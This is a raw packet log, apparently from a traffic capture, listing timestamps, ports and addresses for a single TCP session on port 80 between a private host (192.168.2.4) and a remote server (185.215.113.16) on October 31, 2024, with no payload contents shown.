Oct 31, 2024 23:38:09.334218025 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.334218025 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.334237099 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.334252119 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.334266901 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.334278107 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.334283113 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.334297895 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.334323883 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.334342957 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.334357977 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.334367990 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.334372044 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.334383965 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.334398031 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.334403992 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.334429026 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.334438086 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339380980 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339396000 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339411020 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339420080 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339425087 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339440107 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339448929 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339454889 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339468002 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339494944 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339525938 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339540958 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339555025 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339561939 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339570045 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339585066 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339596987 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339601040 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339616060 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339629889 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339637995 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339644909 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339653015 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339653015 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339659929 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339677095 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339684010 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339699030 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339705944 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339714050 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339725018 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339728117 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339741945 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339755058 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339756966 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339771986 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339787006 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339790106 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339795113 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339795113 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339809895 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339823961 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339834929 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339837074 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339850903 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339865923 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339865923 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339880943 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339895010 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339903116 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339910030 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339921951 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339925051 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339936972 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339947939 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339952946 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.339955091 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.339989901 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.340013027 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.485428095 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.485443115 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.485451937 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.485486031 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.485517025 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.485841036 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.485878944 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.485909939 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.485918045 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.485940933 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.485944986 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.485954046 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.485958099 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.485970020 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.485994101 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486021042 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486031055 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486040115 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486049891 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486054897 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486059904 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486069918 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486088991 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486097097 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486126900 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486160994 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486170053 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486200094 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486212969 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486222029 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486229897 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486246109 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486279964 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486305952 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486316919 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486327887 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486349106 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486357927 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486371040 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486381054 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486390114 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486406088 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486427069 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486530066 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486540079 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486548901 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486567020 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486592054 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486845970 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486855984 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486865997 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486881971 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486901999 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486907959 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486917019 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486927032 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486938000 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486939907 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486962080 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486974955 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486984015 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.486985922 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.486999989 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487009048 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487019062 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487023115 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487030029 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487039089 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487051964 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487065077 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487077951 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487087965 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487098932 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487111092 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487112045 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487139940 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487153053 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487168074 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487178087 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487185955 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487196922 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487209082 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487238884 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487471104 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487479925 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487490892 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487512112 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487535000 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487541914 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487545013 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487555027 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487565994 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487567902 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487592936 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487601995 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487612009 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487616062 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487622023 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487646103 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487673044 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487731934 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487741947 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487750053 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487761021 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487771034 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487775087 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487781048 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487792015 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487799883 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487802982 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487818003 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487838030 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487862110 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487871885 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487880945 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487889051 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487900019 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487915039 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487921953 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487931013 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487941027 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487941980 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487953901 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.487966061 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.487993002 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488112926 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488122940 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488131046 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488147020 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488157034 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488159895 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488166094 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488169909 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488181114 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488194942 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488197088 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488207102 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488214970 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488224030 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488224983 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488233089 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488234997 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488245010 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488265038 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488286018 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488293886 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488296032 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488305092 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488322973 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488327980 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488337994 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488348961 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488354921 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488373041 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488395929 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488466978 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488476992 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488486052 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488509893 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488528967 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488531113 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488542080 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488554001 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488564968 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488567114 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488599062 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488621950 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488631964 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488641977 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488658905 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488682032 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488706112 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488718033 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488728046 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488746881 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488758087 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488769054 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488779068 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488807917 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488830090 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488850117 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488859892 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488869905 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488890886 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488907099 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488929033 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488940954 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.488970995 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.488981009 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489056110 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489067078 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489074945 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489084959 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489093065 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489095926 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489105940 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489115953 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489121914 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489124060 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489141941 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489156961 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489168882 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489206076 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489281893 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489293098 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489303112 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489312887 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489321947 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489321947 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489334106 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489343882 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489348888 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489367962 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489389896 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489418983 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489428997 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489439011 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489444971 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489466906 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489475012 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489516020 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489526987 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489552021 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489562035 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489562988 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489573956 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489600897 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489609957 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489629984 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489640951 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489650011 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489660025 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489670038 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489670992 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489676952 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489707947 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489753008 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489763975 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489773035 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489783049 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489792109 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489794016 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489805937 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489811897 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489823103 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489831924 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489831924 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489840984 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.489859104 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489872932 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.489988089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.490027905 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.490063906 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.490103960 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.490452051 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.490462065 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.490475893 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.490484953 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.490494967 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.490495920 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.490504980 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.490516901 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.490520000 CET	80	49806	185.215.113.16	192.168.2.4
